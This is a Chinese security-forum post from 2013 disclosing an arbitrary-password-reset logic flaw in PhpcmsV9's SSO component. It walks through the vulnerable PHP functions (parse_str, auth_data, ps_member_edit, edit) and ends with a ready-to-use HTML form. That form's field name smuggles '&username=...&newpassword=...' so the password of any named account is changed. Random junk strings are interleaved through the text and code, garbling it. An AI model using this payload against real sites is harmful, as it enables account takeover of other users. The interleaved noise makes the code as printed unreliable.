找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2048|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:. l: f) P; s. x2 m% ~: Y- m

! E( A6 j1 x" y( t( L$ l( k" O6 V6 `& n, c: U4 i6 L
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);$ d. y; M4 u, a/ U" K9 c0 Q9 E

3 b) A' A; _8 }! r. J在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。: S  L0 |7 G8 f/ S# Q( D, g

/ M7 H- c/ J% Y. `. J) @- K! \; m我把它留给了你们。
/ w5 U7 h2 M# I  j# ?不知道你们发现了它没有。4 ]5 S8 m% y8 R

7 S$ p" ?; O  F% K我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
* ?- t/ B2 G% o, j6 n3 o3 d: K* |# J) d3 J9 Q0 D
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。  |$ b5 F( T. [. y! |, H) c+ H& n

2 w* Y' ~: w8 s0 ?3 ?' D) l5 _也就是) O0 z" K( l. _) E( a5 A$ f
3 z# Y# C& B* n2 g5 A& T! x4 ^3 f
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。4 s  x; b) d' d

/ d0 g0 f" }1 k2 d1 Q) S$ Q" y要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。* D; D# d8 F6 F" o  X2 L. O

9 y7 l& g1 v0 r8 X  d! R( h. v; C0 U# }  i5 Z# l! }
其实我们有这样的机会,看看代码,如下:
2 ?: K! x4 r2 ]) Y
* u2 u% f. u9 G, d- k
$ m- y! x2 r# T) Gpublic function auth_data($data) {
( n6 D) H* N* u7 i; Z% K% [                $s = $sep = '';  S4 u. ^- {2 j2 g0 K
                foreach($data as $k => $v) {. ?) X# ~4 Z2 |8 ~- D9 [' |
                        if(is_array($v)) {0 q! @9 x- }: B& m/ s
                                $s2 = $sep2 = '';
1 B' w7 T, C% k6 M                                foreach($v as $k2 => $v2) {
6 W# F; }: f  t2 J                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
1 q6 R4 {+ j2 u0 V* R# N/ Q                                        $sep2 = '&';' W/ }, N5 x! [7 N$ t# a
                                }3 g" w8 H9 m  c8 f1 l
                                $s .= $sep.$s2;
" w4 ~* i$ c# T: `0 r4 C9 H6 t4 F8 O0 G                        } else {
9 L8 W4 b8 ]7 [! r8 H                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
( a6 o+ |* R0 ^7 H                        }
  `8 `# J7 D8 d/ A. y- {                        $sep = '&';; Y- G  _+ u5 L* m% E. U, s
                }1 K6 ^: ?' r6 |

/ o: e3 T7 m! X7 Z                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));3 G6 D7 u. s4 L
                return $auth_s;
& ]9 I9 n) u* Q5 z9 j, \# V9 v. s        }* ~; T& m0 p  i, [  ?) ~+ x9 P$ G( b

  L. S5 t: m4 d6 k! w可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
" ^# H7 ^( c2 r& F0 P) |' Q% d
3 i& `" W7 p# U- Y: o# v, N举个例子; u7 {% F# D; a0 G9 a' S6 w

; \. F4 N0 d7 ?* k5 ^5 }$a[aaa=a&bbb] = 'a';/ @' R; U! N( w. C7 \- G" }

) _; g* A6 N& D2 q$ n5 J会变成aaa=a&bbb=a" C$ k/ ^6 ?% B: n9 u

  N- v& G8 _' e" {明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。! d7 Y& R* Z6 q: o
. i% d' _' Y- ~' D" O$ J4 w
这个时候,我们可以再去看一个函数。, w2 N" N7 X; s0 o8 G" B3 M
' u6 z9 S, ]" S
就在这个文件内:
4 {9 V+ t- o: c$ K+ ]2 c
# l+ _) n9 [+ v' ], x
- X. p7 @5 t/ c3 X* l+ Zpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
/ O4 i% n+ j5 j" K5 R7 c                if($email && !$this->_is_email($email)) {6 m" K& w# n5 D' a+ [2 Q
                        return -4;- [( `% t: {& F) w% W+ ?( d
                }
  G4 V$ ]( H) t  t% ~8 C# ?                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
' [+ \( q, {" @5 m3 u+ U2 L        }1 R1 p2 j5 M" ?  ?# B1 g* d
% B1 P2 B+ K6 ]2 M3 P+ {
这是向通行证发了这样一个请求。
8 j/ k1 p, Q  ^: T9 g" A, D, U) i9 d- d8 `8 H1 ?
我们再跟到通信证代码里去看看,就会有所发现。
+ u! K1 d+ l# i0 v) {
; Q4 U. o- l$ M4 K
  n: B& X" s+ S" v/ x" l- fpublic function edit() {
9 Y9 @( R" k9 L//能省就省,太长了不是吗?
% q( ]9 F2 D2 q. w' k, d# s& e- ]
% B* w2 x' Y0 ?( A% S' gif($this->username) {
) q2 U  ^8 ~! f- b$ n: {//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。0 B* l, ^9 [8 _$ @
                                $res = $this->db->update($data, array('username'=>$this->username));
, ~  K1 C) V: F+ f6 E- W6 B# t+ p                        } else {
& J9 z: U* l4 P' H6 f                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);; N( ]( G# l' H9 z" m& s3 n
                                $res = $this->db->update($data, array('uid'=>$this->uid));
- p' q) S1 H1 G: U9 X7 `                        }
  O# ^3 i; `" H- F0 O! ~4 C/ U" h" `- ?8 T1 {
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( j4 R1 A4 ~0 B' J" z2 @
( p2 i8 y" j1 a- w' G9 x5 Xpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 w! k$ a( n9 X  ^2 P
3 s. L- w; A. U5 }很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
% K9 N- I5 o& p6 t$ H" \' k
0 c+ ^4 ]# Y) O我当然找到了:3 W7 L6 l$ Y7 A. P- R6 a
phpcms9/phpcms/modules/member/index.php6 ^- j2 ~7 @" J# @5 l) e
8 t. n: e2 p! d" m1 `7 t5 S
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
! Y, _  Y' G) _1 G, J, F: l0 q* q; I1 z- K4 F* F
然后就没有然后了。
7 e3 q8 y7 h+ N! s- N6 ], n* [/ }5 T* E' `" o
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
4 X4 E5 u  l. a# g) P- u9 o                                <table width="100%" cellspacing="0" class="table_form">% M; V: B  g4 e5 u% a# X: N
                                        <tr>
9 |: z$ l: T- Q( p. p! \                                                <th width="80">邮箱:</th>        
( U% q9 L5 H5 _4 s8 p                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
2 I7 g" l( U  H1 c                                        </tr>
3 Q' {; R, a% r) T3 y                                        <tr>0 z( T6 ^: ~: G$ D0 }0 _
                                                <th width="80">原密码:</th>        / Y) P. X. e) F7 R6 M
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
( Y1 w' y0 s+ x0 L/ x& W* Q" s; ]                                        </tr>% Y- c" u+ Q7 g6 z
                                        <tr># j  R3 K: x; A
                                                <th>新密码:</th>& Z: O' e$ v5 W9 A4 K
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>$ G: F/ \( ]' J& y: t& s
                                        </tr>
2 F/ |* E- i# ]( G, i% ]6 v                                        <th></th>2 F0 ^( D& X# r( i6 D1 @* W! m" c
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>0 N8 q4 K9 `' p/ y
                                        </tr>* l7 r5 U; [! h
                                </table>
2 s( d" w9 F2 c9 A! d' Q
& B6 G8 c( i& k. H2 Z) J! U- j                                & I0 {* I) a$ g0 u) ^5 u  g
                        </form>
/ r5 |9 n  {" r, f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表